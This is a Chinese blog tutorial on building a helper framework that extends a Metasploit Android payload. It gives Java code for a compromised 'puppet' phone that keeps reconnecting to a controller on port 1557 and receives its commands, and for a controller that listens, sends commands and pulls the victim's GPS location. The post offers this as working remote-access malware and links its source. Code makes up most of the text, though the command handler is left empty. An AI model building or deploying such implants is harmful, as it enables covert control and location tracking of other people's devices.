【Android编程】Java利用Socket类编写Metasploit安卓载荷辅助模块

/作者:Kali_MG1937

CSDN博客：ALDYS4

QQ:3496925334/

注意!此文章被作者标记到 黑历史 专栏中,这意味着本篇文章可能存在 质量低下,流水账文,笔法低质 的问题

为了防止恁大脑降级，请谨慎观看，，，

强烈建议您转入作者的其他非黑历史专栏进行浏览

本文是由作者于18年初所写,18年底之后逐篇上传至CSDN,存在一系列问题,故转移至黑历史专栏中

Metasploit的安卓载荷模块已经非常完善了，但某些情况下，该模块还有一些我需要却没有的功能

既然不能通过反编译载荷来修改代码，那不如干脆制作一个框架来容纳这些不足

开始构思

框架要怎么实现傀儡机和控制机的互通

最简单的方法就是利用java的Socket类来实现两者的交流

工具已经选择好了，那么怎么实现？

预想：

无论何时，只要傀儡机启动（载荷），控制端都能完美接收

无论何时，只要控制端在线，都能准确接收傀儡机通讯

这是完美的情况，可具体怎么实现？

开始工程

假设：

傀儡机建立一个Socket链接

Socket socket=new Socket(ip,port);

我们知道当socket成功被建立时才会让socket获取实例

反过来说，如果链接建立失败（如对方不在线，端口没被监听等等情况），socket就是null

那么就好办了

傀儡机：

循环检测socket，若不为null时

就向控制端发送心跳包，若对方成功接收就隔一秒再次发送，

如果控制端一旦下线，傀儡机发送心跳包时就会抛出错误，抛出错误时再次建立socket链接

编写出对应代码：

		new Thread(new Runnable(){

				@Override
				public void run()
				{
					while(true){
						try
						{

							if (socket != null)//检查socket是否为null，若不是，执行下一句
							{
								try
								{
									socket.sendUrgentData(0xFF);//发送心跳包，若发送失败，抛出错误

								}
								catch (IOException e)
								{
									socket=new Socket(ip, 1557);//抛出错误时重新建立socket链接
									}
							}else{
							socket=new Socket(ip, 1557);//若socket为空，再次建立链接
							}
						}
						catch (IOException e)
						{}
						try
						{
							Thread.sleep(1000);//时隔一秒
						}
						catch (InterruptedException e)
						{}
					}
				}
			}).start();

这里我用一个线程封装了全过程

傀儡机保证socket稳定的代码已经实现

接下来实现交流

如何实现傀儡机与控制端的交流？

当然是利用InputStream类来实现

同样封装在一个线程里，方便调用

实现代码：

thread=	new Thread(new Runnable(){

				@Override
				public void run()
				{
					try{
									InputStream in=socket.getInputStream();
									int len;
									byte[] b=new byte[1024];
									while ((len = in.read(b)) != -1)
									{
										String cmd=new String(b,0,len);

										}
							}
							catch (IOException e)
							{}
				}
			});

还有一个问题，我们知道socket链接随时可能丢失（如控制端下线），

就算我保证了链接在丢失后能在任何时刻重连，但socket断开后，当前的socket会话不可能保留，

也就是说，如果仅仅让InputStream读取一遍socket链接的内容是不可取的

那怎么办呢？

我之前利用发送心跳包已经实现了保证socket重连，那就再在这个方法是进行改进，

我们知道线程启动后是不能再次启动的，除非线程已死，才能再次调用run()方法使线程重新运转

那么思路就清晰了：

发送心跳包后检查读取socket内容的线程是否死亡，如果死亡，

检查线程是否是新建立的线程，如果是，则调用start()方法，如果不是，则调用run()方法

在之前的基础上实现代码：

socket.sendUrgentData(0xFF);//发送心跳包，若发送失败，抛出错误
if(!thread.isAlive()){//判断线程死活
if(thread.getState()==Thread.State.NEW){//判断线程是否已经启动
thread.start();}
else{thread.run();}

接着实现服务不死就差不多完成傀儡机了

要实现服务不死可以利用通知栏提升服务优先级，这里就粗略讲一下

实现一些控制傀儡机操作的方法就先不讲了，

因为我这里主要讲的是socket的运用

在文章底我会放上源码

控制端：

既然傀儡机的代码实现了，那么控制端的代码对照着写就行

写法如出一辙

保证socket稳定仍然利用发送心跳包

不过有一点不同的就是要让socket获取实例，

必须要先监听端口

ServerSocket serverSocket=new ServerSocket(port);
socket=serverSocket.accept();

获取socket实例后就可以利用发送心跳包的方法判断存活了

这里我把获取与傀儡机联系的代码一并放出

	public void sendShell(){

		new Thread(new Runnable(){

				@Override
				public void run()
				{

					try
					{
						if(socket!=null){
						OutputStream os=socket.getOutputStream();
						os.write(send.getBytes());
						os.flush();
						outPuts("向目标发送了命令:"+send);}
						else{outPuts("socket还未获取实例对象");}
					}
					catch (IOException e)
					{toast("目标没有接收到心跳包，可能已下线");
					outPuts("目标没有接收到shell");}
					// TODO: Implement this method
				}
			}).start();
	}
	public void bindPort(){
		new Thread(new Runnable(){//建立一个用来接收tcp的线程

				@Override
				public void run()
				{try
					{
						serverSocket = new ServerSocket(port);//建立端口的监听
						socket = serverSocket.accept();
						toast("接收到Tcp包:From "+socket.getInetAddress().toString());
						outPuts("目标:"+socket.getInetAddress().toString()+"连接至本机");
					}
					catch (IOException e)
					{}//放行端口
					// TODO: Implement this method
				}
			}).start();
	}

	public void socketTcp(){
		final Thread thread;
		thread = new Thread(new Runnable(){

				@Override
				public void run()
				{try
					{
						InputStream in=socket.getInputStream();
						int len;
						byte[] b=new byte[1024];
						while((len=in.read(b))!=-1){
							outPuts(new String(b,0,len));
						}
					}
					catch (IOException e)
					{}
					// TODO: Implement this method
				}
			});

		new Thread(new Runnable(){//检查socket是否开启

				@Override
				public void run()
				{while(true){
					if(socket!=null){
						try
						{
							socket.sendUrgentData(0xFF);//发送心跳包
							if(!thread.isAlive()){
								if(thread.getState()==Thread.State.NEW){//判断线程是否已经启动
									thread.start();}else{thread.run();}}
						}
						catch (IOException e)
						{//若跑出异常，执行下一句
							try
							{
								toast("对方似乎下线,重连...");
								//outPuts(socket.getInetAddress().toString()+" 下线");
								socket = serverSocket.accept();
								outPuts(socket.getInetAddress().toString()+" 重连至本机");
								toast("重连成功");
							}
							catch (IOException e1)
							{}

						}
					}
						try
						{
							Thread.sleep(1000);
						}
						catch (InterruptedException e)
						{}
					}

				}
			}).start();

	}

这样就完成了

编译工程，实现效果

我这里实现了一些控制代码

如向傀儡机传入runGps和getGps

就能获取傀儡机位置信息



把metasploit安卓载荷的代码反编译，与傀儡机软件结合，就实现了进一步完善安卓载荷的目的



接下来放上源码

百度云：

Metasploit安卓载荷辅助框架